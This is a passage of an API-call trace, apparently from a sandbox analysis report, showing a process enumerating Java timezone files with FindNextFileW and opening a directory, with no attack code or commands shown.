ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beulah", cAlternateFileName="")) returned 1 [0088.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Center", cAlternateFileName="")) returned 1 [0088.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_Salem", cAlternateFileName="")) returned 1 [0088.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_Salem", cAlternateFileName="")) returned 0 [0088.631] GetLastError () returned 0x12 [0088.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326918) returned 1 [0088.631] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ojinaga", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panama", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pangnirtung", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paramaribo", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phoenix", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port-au-Prince", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Porto_Velho", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port_of_Spain", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Puerto_Rico", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rainy_River", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rankin_Inlet", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recife", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Regina", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resolute", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rio_Branco", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santarem", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santa_Isabel", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santiago", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santo_Domingo", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sao_Paulo", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scoresbysund", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sitka", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Johns", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Kitts", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Lucia", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Thomas", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Vincent", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swift_Current", cAlternateFileName="")) returned 1 [0088.632] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tegucigalpa", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thule", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thunder_Bay", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tijuana", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="Toronto", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tortola", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vancouver", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whitehorse", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winnipeg", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yakutat", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellowknife", cAlternateFileName="")) returned 1 [0088.633] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellowknife", cAlternateFileName="")) returned 0 [0088.633] GetLastError () returned 0x12 [0088.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.633] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250c48) returned 1 [0088.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.634] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antarctica", cAlternateFileName="")) returned 1 [0088.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.635] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1332f60 [0088.635] DeviceIoControl (in: hDevice=0x164, 